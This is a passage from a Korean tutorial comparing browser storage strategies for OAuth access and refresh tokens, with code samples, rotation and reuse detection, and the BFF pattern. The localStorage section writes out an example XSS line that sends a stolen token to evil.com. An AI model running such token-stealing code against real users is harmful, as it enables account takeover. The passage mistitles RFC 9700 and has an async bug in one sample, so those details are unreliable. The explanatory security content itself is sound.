│ 검증 주체         │ Resource Server      │ Authorization Server만           │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 즉시 폐기 가능?   │ JWT: 불가 (만료 대기)│ 가능 (서버 DB에서 삭제)          │
│                  │ Opaque: 가능         │                                  │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 전송 대상         │ 모든 API 서버       │ 토큰 엔드포인트만                │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 권장 형식 (2025)  │ 단기 JWT            │ Opaque (서버 사이드 저장)        │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 포함 정보         │ scope, sub, aud 등  │ 없음 (식별자만)                  │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 탈취 시 영향      │ 제한적 (짧은 수명)   │ 심각 (장기 접근 가능)            │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 보안 핵심 원칙    │ 수명을 극도로 짧게   │ 안전한 저장 + Rotation           │
└──────────────────┴──────────────────────┴───────────────────────────────────┘

4.2 JWT vs Opaque Token

┌─────────────────────────────────────────────────────────────────────────────┐
│                    JWT vs Opaque Token 비교                                  │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  JWT (JSON Web Token):                                                      │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ - 자체 포함(Self-Contained): 토큰 안에 사용자 정보 포함            │     │
│  │ - 로컬 검증: 서명만 확인하면 됨, DB 조회 불필요                    │     │
│  │ - 즉시 폐기 불가: 만료 전까지 유효 (블랙리스트 구현 시 가능)       │     │
│  │ - Base64 디코딩으로 내용 열람 가능 (서명만 보호, 암호화 아님)      │     │
│  │ - 크기가 큼: 일반적으로 800-2000 바이트                            │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Opaque Token:                                                              │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ - 의미 없는 문자열: "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" │     │
│  │ - 서버 조회 필수: 토큰으로 DB/캐시에서 세션 정보 조회              │     │
│  │ - 즉시 폐기 가능: DB에서 삭제하면 즉시 무효화                      │     │
│  │ - 정보 누출 없음: 토큰에 아무 정보도 없음                          │     │
│  │ - 크기가 작음: 보통 32-64 바이트                                   │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  2025 업계 표준 조합:                                                       │
│  ┌─────────────────────────────────────────────────────────────┐            │
│  │                                                             │            │
│  │  Access Token  = 단기 JWT (5-15분)                          │            │
│  │  ├── 로컬 검증으로 성능 확보                                │            │
│  │  ├── 짧은 수명으로 탈취 영향 최소화                         │            │
│  │  └── 폐기 불필요 (곧 만료되므로)                            │            │
│  │                                                             │            │
│  │  Refresh Token = Opaque + 서버 사이드 저장                  │            │
│  │  ├── 즉시 폐기 가능 (로그아웃, 보안 사고)                   │            │
│  │  ├── 정보 누출 없음                                        │            │
│  │  └── Rotation으로 탈취 탐지                                │            │
│  │                                                             │            │
│  └─────────────────────────────────────────────────────────────┘            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

4.3 JWT 토큰 구조 상세

┌─────────────────────────────────────────────────────────────────────────────┐
│                    JWT 표준 클레임 (RFC 7519)                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Header:                                                                    │
│  {                                                                          │
│    "typ": "at+jwt",       // 토큰 타입 (at+jwt = Access Token용 JWT)       │
│    "alg": "RS256",        // 서명 알고리즘 (RS256 권장, HS256 비권장)       │
│    "kid": "key-2025-03"   // 키 식별자 (키 순환 지원)                       │
│  }                                                                          │
│                                                                             │
│  Payload:                                                                   │
│  {                                                                          │
│    "iss": "https://auth.example.com",     // Issuer (발급자)               │
│    "sub": "user_abc123",                   // Subject (사용자 식별자)       │
│    "aud": "https://api.example.com",       // Audience (수신 대상) ⚡중요  │
│    "exp": 1741219200,                      // Expiration (만료 시간)        │
│    "iat": 1741218300,                      // Issued At (발급 시간)         │
│    "jti": "unique-token-id-xyz",           // JWT ID (고유 식별자)          │
│    "scope": "read:profile write:settings", // 권한 범위                    │
│    "client_id": "spa-client-001"           // 클라이언트 식별자            │
│  }                                                                          │
│                                                                             │
│  ⚡ aud (Audience) 검증이 중요한 이유:                                      │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ aud를 검증하지 않으면 "Confused Deputy" 공격 가능                  │     │
│  │                                                                    │     │
│  │ 시나리오:                                                          │     │
│  │ 1. 공격자가 evil-app.com에서 받은 AT를                             │     │
│  │ 2. api.example.com에 제출                                          │     │
│  │ 3. aud 미검증 시 → 유효한 JWT로 처리됨!                            │     │
│  │                                                                    │     │
│  │ 방어: Resource Server는 반드시 aud == 자신의 URL인지 확인          │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  서명 알고리즘 권장:                                                        │
│  ┌──────────┬──────────────┬──────────────────────────────────┐             │
│  │ 알고리즘 │ 키 종류       │ 권장 여부                        │             │
│  ├──────────┼──────────────┼──────────────────────────────────┤             │
│  │ RS256    │ RSA 비대칭    │ ✅ 가장 널리 사용, 공개키 검증   │             │
│  │ ES256    │ ECDSA 비대칭  │ ✅ RS256보다 작고 빠름           │             │
│  │ EdDSA    │ Ed25519       │ ✅ 최신, 가장 빠름              │             │
│  │ HS256    │ HMAC 대칭     │ ⚠️  단일 서비스만, 키 공유 위험  │             │
│  │ none     │ 없음          │ ❌ 절대 금지 (alg:none 공격)    │             │
│  └──────────┴──────────────┴──────────────────────────────────┘             │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

5. 토큰 저장 전략 비교

5.1 localStorage

┌─────────────────────────────────────────────────────────────────────────────┐
│                    전략 1: localStorage                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  메커니즘: 브라우저의 영구 키-값 저장소 (Origin별 격리)                      │
│  용량: ~5-10MB                                                              │
│  수명: 명시적 삭제 전까지 영구 보존                                          │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
// localStorage 저장 예시
function login(credentials) {
  const response = await fetch('/auth/login', {
    method: 'POST',
    body: JSON.stringify(credentials),
  });
  const { accessToken, refreshToken } = await response.json();

  // ⚠️ 위험: 토큰이 JS로 접근 가능한 곳에 저장됨
  localStorage.setItem('access_token', accessToken);
  localStorage.setItem('refresh_token', refreshToken);
}

// API 요청 시
function apiCall(url) {
  const token = localStorage.getItem('access_token');
  return fetch(url, {
    headers: { Authorization: `Bearer ${token}` },
  });
}
┌─────────────────────────────────────────────────────────────────────────────┐
│  보안 프로필                                                                │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성     │ ❌ 치명적 - 모든 JS 코드가 접근 가능                      │
│ CSRF 저항성    │ ✅ 안전 - 쿠키가 아니므로 자동 전송 없음                  │
│ 지속성         │ ✅ 영구 - 브라우저 닫아도 유지                            │
│ 탭 격리        │ ❌ 없음 - 같은 Origin의 모든 탭에서 공유                  │
│ 복잡도         │ ⬇️ 낮음 - 가장 단순한 구현                                │
├────────────────┴────────────────────────────────────────────────────────────┤
│                                                                             │
│  구체적 공격 시나리오:                                                      │
│  1. 서드파티 스크립트(광고, 분석)가 XSS 취약점 포함                         │
│  2. 공격 코드: fetch('//evil.com?t=' + localStorage.getItem('access_token'))│
│  3. 토큰 완전 탈취 → 공격자가 피해자로 위장하여 API 호출                   │
│                                                                             │
│  OWASP 판정: ❌ 사용 금지                                                  │
│  "Do not store session identifiers in local storage as the data is          │
│   always accessible by JavaScript. Cookies can mitigate this risk           │
│   using the httpOnly flag."                                                 │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

5.2 sessionStorage

┌─────────────────────────────────────────────────────────────────────────────┐
│                    전략 2: sessionStorage                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  메커니즘: 탭/윈도우별 격리된 키-값 저장소                                   │
│  용량: ~5MB                                                                 │
│  수명: 탭 닫으면 삭제                                                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
// sessionStorage 저장 예시
sessionStorage.setItem('access_token', accessToken);

// 탭별 격리 - 새 탭 열면 빈 상태
// window.open() 으로 열면 복사됨, 직접 URL 입력 시 빈 상태
┌─────────────────────────────────────────────────────────────────────────────┐
│  보안 프로필                                                                │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성     │ ❌ 치명적 - localStorage와 동일하게 JS 접근 가능          │
│ CSRF 저항성    │ ✅ 안전 - 쿠키가 아니므로 자동 전송 없음                  │
│ 지속성         │ ⚠️ 탭 한정 - 새로고침 시 유지, 탭 닫으면 삭제             │
│ 탭 격리        │ ✅ 있음 - 각 탭이 독립 저장소                             │
│ 복잡도         │ ⬇️ 낮음                                                   │
├────────────────┴────────────────────────────────────────────────────────────┤
│                                                                             │
│  localStorage 대비 장점:                                                    │
│  - 탭별 격리로 한 탭 침해 시 다른 탭 토큰은 안전                            │
│  - 탭 닫으면 자동 정리                                                      │
│                                                                             │
│  여전한 문제:                                                               │
│  - 같은 탭 내에서 XSS로 토큰 탈취 가능                                     │
│  - OWASP JWT Cheat Sheet에서는 sessionStorage를 "허용 가능"으로 평가        │
│    하지만 in-memory/Web Worker보다 안전하지 않음                             │
│                                                                             │
│  OWASP 판정: ⚠️ localStorage보다 나으나 권장하지 않음                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│                    전략 3: HttpOnly Cookie                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  메커니즘: 서버가 Set-Cookie로 설정, JS 접근 차단                           │
│  용량: ~4KB per cookie                                                      │
│  수명: Max-Age/Expires에 따라 결정                                          │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
// 서버 측 (Node.js/Express)
app.post('/auth/login', async (req, res) => {
  const { accessToken, refreshToken } = await authenticate(req.body);

  // Refresh Token을 HttpOnly 쿠키로 설정
  res.cookie('__Host-Http-RT', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/auth/refresh',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7일
  });

  // Access Token은 응답 본문으로 (메모리에 저장)
  res.json({ accessToken });
});

// 클라이언트 측
async function refreshAccessToken() {
  // 쿠키가 자동으로 포함됨 (credentials: 'include')
  const res = await fetch('/auth/refresh', {
    method: 'POST',
    credentials: 'include', // HttpOnly 쿠키 자동 전송
  });
  const { accessToken } = await res.json();
  return accessToken; // 메모리에 저장
}
┌─────────────────────────────────────────────────────────────────────────────┐
│  보안 프로필                                                                │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성     │ ✅ 토큰 탈취 방어 - JS로 쿠키 값 읽기 불가               │
│ CSRF 저항성    │ ⚠️ 위험 - 쿠키 자동 전송 → SameSite + CSRF 토큰 필요     │
│ 지속성         │ ✅ Max-Age까지 유지                                       │
│ 탭 격리        │ ❌ 없음 - 모든 탭에서 동일 쿠키 전송                      │
│ 복잡도         │ 중간 - 서버 측 설정 필요                                  │
├────────────────┴────────────────────────────────────────────────────────────┤
│                                                                             │
│  잔여 리스크:                                                               │
│  - XSS로 토큰은 못 훔쳐도 인증된 API 요청 가능 (fetch + credentials)       │
│  - SameSite=Strict 없이는 CSRF 공격에 취약                                 │
│  - 쿠키 크기 제한 (4KB)으로 큰 JWT 저장 부적합                              │
│                                                                             │
│  OWASP 판정: ✅ SameSite와 함께 사용 시 권장                               │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

5.4 In-Memory (Closure)

┌─────────────────────────────────────────────────────────────────────────────┐
│                    전략 4: In-Memory (Closure 패턴)                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  메커니즘: JS 클로저/모듈 스코프 변수에 토큰 보관                           │
│  용량: JS 힙 메모리 제한                                                    │
│  수명: 페이지 새로고침/탭 닫기 시 소멸                                      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
// In-Memory 토큰 관리 (Closure 패턴)
const tokenManager = (() => {
  let _accessToken = null; // 클로저로 보호

  return {
    setToken(token) {
      _accessToken = token;
    },
    getToken() {
      return _accessToken;
    },
    clearToken() {
      _accessToken = null;
    },
  };
})();

// 사용
tokenManager.setToken(accessToken);

// API 호출
async function apiCall(url) {
  let token = tokenManager.getToken();

  if (!token || isExpired(token)) {
    // HttpOnly 쿠키의 RT로 갱신
    token = await refreshAccessToken();
    tokenManager.setToken(token);
  }

  return fetch(url, {
    headers: { Authorization: `Bearer ${token}` },
  });
}
┌─────────────────────────────────────────────────────────────────────────────┐
│  보안 프로필                                                                │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성     │ ⚠️ 상당히 어렵지만 불가능하지 않음                        │
│ CSRF 저항성    │ ✅ 안전 - Authorization 헤더 사용                         │
│ 지속성         │ ❌ 없음 - 새로고침 시 소멸 (RT 쿠키로 재발급)            │
│ 탭 격리        │ ✅ 있음 - 각 탭이 독립 메모리                             │
│ 복잡도         │ 중간 - 새로고침 시 토큰 재발급 로직 필요                  │
├────────────────┴────────────────────────────────────────────────────────────┤
│                                                                             │
│  잔여 리스크:                                                               │
│  - Prototype Pollution: Object.prototype 오염으로 getter 가로채기 가능     │
│  - 메모리 덤프: 브라우저 개발자 도구로 힙 검사 가능                         │
│  - XSS가 존재하면 결국 인증된 요청 자체를 대리 실행 가능                    │
│                                                                             │
│  Auth0 평가: ✅ Access Token 저장에 권장                                    │
│  "Store access tokens in memory. They will be lost on page refresh,         │
│   but this is acceptable with refresh token rotation."                      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

5.5 Web Worker

┌─────────────────────────────────────────────────────────────────────────────┐
│                    전략 5: Web Worker (최상위 권장)                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  메커니즘: 별도 스레드의 Worker에서 토큰 관리 및 API 호출 대행              │
│  용량: Worker 힙 메모리                                                     │
│  수명: Worker 종료 시 소멸 (페이지 새로고침)                                │
│                                                                             │
│  ┌────────────────────────────────────────────────────────────┐             │
│  │                                                            │             │
│  │   Main Thread (XSS 공격 표면)    Web Worker (격리됨)      │             │
│  │   ┌──────────────────────┐       ┌──────────────────┐     │             │
│  │   │                      │       │                  │     │             │
│  │   │  document.cookie ❌  │       │  accessToken ✅  │     │             │
│  │   │  localStorage    ❌  │  msg  │  refreshToken ✅ │     │             │
│  │   │  토큰 접근 불가   │ ←───→ │  fetch 대행      │     │             │
│  │   │                      │       │                  │     │             │
│  │   └──────────────────────┘       └──────────────────┘     │             │
│  │                                                            │             │
│  │  Main Thread의 XSS가 Worker의 메모리에 접근 불가!         │             │
│  │  Worker에는 document, window, DOM API가 없음               │             │
│  │                                                            │             │
│  └────────────────────────────────────────────────────────────┘             │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
// auth-worker.js (Web Worker)
let accessToken = null;

self.addEventListener('message', async (e) => {
  const { type, url, options } = e.data;

  switch (type) {
    case 'SET_TOKEN':
      accessToken = e.data.token;
      break;

    case 'API_CALL':
      // 토큰이 만료되었으면 갱신
      if (!accessToken || isExpired(accessToken)) {
        const res = await fetch('/auth/refresh', {
          method: 'POST',
          credentials: 'include', // HttpOnly 쿠키 전송
        });
        const data = await res.json();
        accessToken = data.accessToken;
      }

      // Worker가 직접 API 호출 (토큰이 Main Thread에 노출되지 않음)
      const response = await fetch(url, {
        ...options,
        headers: {
          ...options?.headers,
          Authorization: `Bearer ${accessToken}`,
        },
      });
      const result = await response.json();
      self.postMessage({ type: 'API_RESULT', url, data: result });
      break;

    case 'LOGOUT':
      accessToken = null;
      await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
      self.postMessage({ type: 'LOGGED_OUT' });
      break;
  }
});

// main.js (Main Thread)
const authWorker = new Worker('/auth-worker.js');

async function secureApiCall(url, options) {
  return new Promise((resolve) => {
    authWorker.addEventListener('message', function handler(e) {
      if (e.data.type === 'API_RESULT' && e.data.url === url) {
        authWorker.removeEventListener('message', handler);
        resolve(e.data.data);
      }
    });
    authWorker.postMessage({ type: 'API_CALL', url, options });
  });
}
┌─────────────────────────────────────────────────────────────────────────────┐
│  보안 프로필                                                                │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성     │ ✅✅ 매우 강함 - Main Thread XSS가 Worker 메모리 접근 불가│
│ CSRF 저항성    │ ✅ 안전 - Authorization 헤더 사용                         │
│ 지속성         │ ❌ 없음 - Worker 종료 시 소멸                             │
│ 탭 격리        │ ✅ 있음 - Worker는 탭별 독립                              │
│ 복잡도         │ ⬆️ 높음 - Worker 통신 + 메시지 기반 아키텍처              │
├────────────────┴────────────────────────────────────────────────────────────┤
│                                                                             │
│  Auth0 평가: ✅✅ SPA 최상위 권장                                          │
│  "Use a Web Worker to handle token storage and API calls.                   │
│   This isolates tokens from the main thread where XSS operates."            │
│                                                                             │
│  잔여 리스크:                                                               │
│  - Worker 스크립트 자체가 변조되면 무력화 (CSP로 방어)                      │
│  - postMessage 인터페이스를 통한 간접 공격 가능성                           │
│  - SharedArrayBuffer 등으로 Worker 메모리 접근 시도 (브라우저가 차단)       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

5.6 Service Worker

┌─────────────────────────────────────────────────────────────────────────────┐
│                    전략 6: Service Worker                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  메커니즘: 네트워크 프록시로 동작, 모든 fetch 요청에 토큰 자동 주입          │
│  용량: Worker 메모리 + CacheStorage + IndexedDB                             │
│  수명: SW 등록 해제 전까지 유지 (새로고침에도 생존)                          │
│                                                                             │
│  장점:                                                                      │
│  ├── 새로고침에도 토큰 유지 (Web Worker와 차별점)                           │
│  ├── 모든 네트워크 요청을 가로채서 투명하게 토큰 주입                        │
│  └── 오프라인 캐시 + 인증 조합 가능                                         │
│                                                                             │
│  위험:                                                                      │
│  ├── SW 하이재킹: XSS로 악성 SW 등록 시 모든 요청 감청 가능                 │
│  ├── DOM Clobbering: SW 등록 스크립트 변조 가능성                           │
│  ├── 생명주기 복잡: 업데이트, activate, 캐시 관리 어려움                     │
│  └── 디버깅 난이도 매우 높음                                                │
│                                                                             │
│  OWASP 판정: ⚠️ 주의하여 사용 (Web Worker보다 공격 표면 넓음)              │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

5.7 6가지 전략 종합 비교

┌──────────────────────────────────────────────────────────────────────────────────────┐
│                    토큰 저장 전략 종합 비교 매트릭스                                   │
├────────────────┬────────┬────────┬────────┬────────────┬────────┬──────┬─────────────┤
│ 전략            │ XSS    │ CSRF   │ 지속성 │ 크로스 탭  │ 복잡도 │ OWASP│ 종합 점수   │
│                │ 저항성  │ 저항성  │        │ 공유       │        │ 판정 │ (10점 만점) │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ localStorage   │ ❌     │ ✅     │ ✅     │ ✅ 공유    │ 낮음   │ ❌   │ 3/10        │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ sessionStorage │ ❌     │ ✅     │ ⚠️ 탭  │ ❌ 격리    │ 낮음   │ ⚠️   │ 4/10        │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ HttpOnly Cookie│ ✅     │ ⚠️     │ ✅     │ ✅ 공유    │ 중간   │ ✅   │ 7/10        │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ In-Memory      │ ⚠️     │ ✅     │ ❌     │ ❌ 격리    │ 중간   │ ✅   │ 7/10        │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ Web Worker     │ ✅✅   │ ✅     │ ❌     │ ❌ 격리    │ 높음   │ ✅✅ │ 9/10        │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ Service Worker │ ✅     │ ✅     │ ✅     │ ✅ 공유    │ 매우높 │ ⚠️   │ 6/10        │
├────────────────┴────────┴────────┴────────┴────────────┴────────┴──────┴─────────────┤
│                                                                                      │
│  ⚡ 2025 최적 조합:                                                                  │
│  Access Token  → Web Worker (메모리) 또는 In-Memory (Closure)                        │
│  Refresh Token → HttpOnly + Secure + SameSite=Strict 쿠키                            │
│                                                                                      │
└──────────────────────────────────────────────────────────────────────────────────────┘

6. Refresh Token Rotation과 재사용 탐지

6.1 Token Rotation 메커니즘

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Refresh Token Rotation 동작 원리                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  기본 원칙: RT를 사용할 때마다 새 RT를 발급하고, 사용된 RT는 즉시 무효화    │
│                                                                             │
│  정상 흐름:                                                                 │
│                                                                             │
│  클라이언트                    인가 서버                                    │
│     │                            │                                         │
│     │  1. RT_1로 갱신 요청        │                                         │
│     │ ──────────────────────────→ │                                         │
│     │                            │  2. RT_1 유효 확인                      │
│     │                            │  3. RT_1 무효화                         │
│     │                            │  4. 새 AT_2 + RT_2 발급                 │
│     │  5. AT_2 + RT_2 수신        │                                         │
│     │ ←────────────────────────── │                                         │
│     │                            │                                         │
│     │  6. RT_2로 갱신 요청        │                                         │
│     │ ──────────────────────────→ │                                         │
│     │                            │  7. RT_2 유효 확인                      │
│     │                            │  8. RT_2 무효화                         │
│     │                            │  9. 새 AT_3 + RT_3 발급                 │
│     │  10. AT_3 + RT_3 수신       │                                         │
│     │ ←────────────────────────── │                                         │
│     │                            │                                         │
│     ▼                            ▼                                         │
│  각 RT는 한 번만 사용 가능 → 탈취되어도 경쟁 조건 발생                      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

6.2 Token Family 개념

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Token Family (토큰 가족)                                  │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Token Family = 하나의 로그인 세션에서 파생된 모든 RT의 계보                 │
│                                                                             │
│  로그인                                                                     │
│    │                                                                        │
│    ├── RT_1 (family_id: "fam_abc")                                          │
│    │    │                                                                   │
│    │    └── (사용) → RT_2 (family_id: "fam_abc")                            │
│    │                  │                                                     │
│    │                  └── (사용) → RT_3 (family_id: "fam_abc")              │
│    │                                │                                      │
│    │                                └── (사용) → RT_4 (family_id: "fam_abc")│
│    │                                                                       │
│    └── 모두 동일한 family_id를 공유                                         │
│                                                                             │
│  서버 저장 구조 (예시):                                                     │
│  ┌──────────────────────────────────────────────────────────┐               │
│  │ {                                                        │               │
│  │   "family_id": "fam_abc",                                │               │
│  │   "user_id": "user_123",                                 │               │
│  │   "current_token_hash": "hash(RT_4)",                    │               │
│  │   "used_tokens": ["hash(RT_1)", "hash(RT_2)", "hash(RT_3)"],│            │
│  │   "created_at": "2026-03-01T00:00:00Z",                 │               │
│  │   "last_used_at": "2026-03-05T10:30:00Z"                │               │
│  │ }                                                        │               │
│  └──────────────────────────────────────────────────────────┘               │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

6.3 자동 재사용 탐지 (Automatic Reuse Detection)

┌─────────────────────────────────────────────────────────────────────────────┐
│                    재사용 탐지 시나리오                                       │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  1. 정상 사용자가 RT_2를 가지고 있음                                        │
│  2. 공격자가 어떤 경로로 RT_2를 탈취                                        │
│                                                                             │
│  시나리오 A: 정상 사용자가 먼저 사용                                        │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │                                                                    │     │
│  │  정상 사용자: RT_2 사용 → AT_3 + RT_3 수신 (RT_2 무효화)          │     │
│  │  공격자:      RT_2 사용 시도                                       │     │
│  │               → ❌ 이미 무효화됨! 거부                             │     │
│  │               → 서버: "사용된 RT 재사용 감지!"                     │     │
│  │               → 해당 Token Family 전체 무효화 (RT_3도 무효!)       │     │
│  │               → 정상 사용자도 재로그인 필요 (안전 우선)            │     │
│  │                                                                    │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  시나리오 B: 공격자가 먼저 사용                                             │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │                                                                    │     │
│  │  공격자:      RT_2 사용 → AT_3' + RT_3' 수신 (RT_2 무효화)        │     │
│  │  정상 사용자: RT_2 사용 시도                                       │     │
│  │               → ❌ 이미 무효화됨! 거부                             │     │
│  │               → 서버: "사용된 RT 재사용 감지!"                     │     │
│  │               → 해당 Token Family 전체 무효화 (RT_3'도 무효!)      │     │
│  │               → 공격자의 토큰도 무효화됨                           │     │
│  │                                                                    │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  핵심: 어느 쪽이 먼저 사용하든, 재사용이 감지되면 가족 전체 무효화          │
│  → 공격자는 탈취한 RT로 지속적 접근 불가                                   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

6.4 네트워크 불안정을 위한 Grace Period

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Grace Period (유예 기간)                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  문제 상황:                                                                 │
│  클라이언트가 RT_2로 갱신 요청 → 서버가 RT_3 발급                          │
│  → 네트워크 오류로 응답이 클라이언트에 도달하지 못함                        │
│  → 클라이언트는 RT_2만 보유, 서버는 RT_2를 무효화한 상태                    │
│  → 클라이언트가 RT_2 재사용 → 재사용으로 오탐! 가족 전체 무효화            │
│                                                                             │
│  해결: Grace Period                                                         │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │                                                                    │     │
│  │  서버가 RT를 무효화할 때:                                          │     │
│  │  - 즉시 삭제하지 않고 "사용됨" 표시 + 타임스탬프 기록              │     │
│  │  - 설정 가능한 유예 시간 (예: 30초) 동안                           │     │
│  │    같은 RT의 재사용을 허용하고 동일한 응답 반환                     │     │
│  │  - 유예 시간 초과 후 재사용 → 진짜 재사용 공격으로 판단            │     │
│  │                                                                    │     │
│  │  구현 예시:                                                        │     │
│  │  const GRACE_PERIOD_MS = 30_000; // 30초                           │     │
│  │                                                                    │     │
│  │  if (token.usedAt &&                                               │     │
│  │      Date.now() - token.usedAt < GRACE_PERIOD_MS) {                │     │
│  │    // 유예 기간 내 → 이전 발급 결과 재전송                         │     │
│  │    return cachedResponse;                                           │     │
│  │  } else if (token.usedAt) {                                        │     │
│  │    // 유예 기간 초과 → 재사용 공격!                                │     │
│  │    await invalidateTokenFamily(token.familyId);                     │     │
│  │    throw new TokenReuseError();                                     │     │
│  │  }                                                                  │     │
│  │                                                                    │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

6.5 RFC 9700 (2025년 1월) 요구사항

┌─────────────────────────────────────────────────────────────────────────────┐
│                    RFC 9700: OAuth 2.0 for Browser-Based Applications        │
│                    (2025년 1월 발행)                                         │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Public Client (SPA 등)에 대한 RT 보안 요구사항:                            │
│                                                                             │
│  MUST (필수):                                                               │
│  ├── Refresh Token Rotation 적용                                            │
│  │   또는                                                                   │
│  ├── Sender-Constraining (DPoP/mTLS) 적용                                  │
│  │                                                                          │
│  └── 둘 중 하나 이상을 반드시 구현해야 함                                   │
│                                                                             │
│  SHOULD (권장):                                                             │
│  ├── RT 수명 제한 (무기한 RT 금지)                                          │
│  ├── 재사용 탐지 구현                                                       │
│  ├── 재사용 감지 시 가족 전체 무효화                                        │
│  └── 비활성 RT 자동 만료 (idle timeout)                                     │
│                                                                             │
│  이전 관행 vs RFC 9700:                                                     │
│  ┌─────────────────────────────┬────────────────────────────────────┐       │
│  │ 이전                        │ RFC 9700                           │       │
│  ├─────────────────────────────┼────────────────────────────────────┤       │
│  │ iframe silent auth          │ 서드파티 쿠키 차단으로 사용 불가   │       │
│  │ 장기 RT 단독 사용           │ Rotation 또는 DPoP 필수           │       │
│  │ Implicit Grant (토큰 직발급)│ 완전 제거됨                        │       │
│  │ RT 무기한 유효              │ 수명 제한 필수                     │       │
│  └─────────────────────────────┴────────────────────────────────────┘       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

7. BFF (Backend-for-Frontend) 패턴

7.1 IETF 권장 사항

┌─────────────────────────────────────────────────────────────────────────────┐
│  IETF draft-ietf-oauth-browser-based-apps-26 (2025년 12월)                  │
│  "OAuth 2.0 for Browser-Based Applications"                                 │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  브라우저 앱의 OAuth 토큰 처리에 대한 3가지 구조:                            │
│                                                                             │
│  Tier 1: BFF (Full Proxy) ← 가장 강력, IETF 최우선 권장                    │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 브라우저에 토큰이 전혀 노출되지 않음                               │     │
│  │ 모든 OAuth 흐름이 서버에서 처리                                    │     │
│  │ 브라우저 ↔ BFF: HttpOnly 쿠키만 사용                               │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Tier 2: Token-Mediating Backend                                            │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 서버가 토큰 발급/갱신 담당                                         │     │
│  │ AT는 브라우저에 전달 가능 (in-memory)                              │     │
│  │ RT는 서버에 유지                                                   │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Tier 3: Browser Client (Public Client)                                     │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 브라우저가 직접 OAuth 흐름 수행                                    │     │
│  │ PKCE + Rotation + DPoP 등 최대한의 클라이언트 보안 필요            │     │
│  │ BFF 불가 시 차선책                                                 │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

7.2 BFF 아키텍처

┌─────────────────────────────────────────────────────────────────────────────┐
│                    BFF 패턴 아키텍처                                         │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
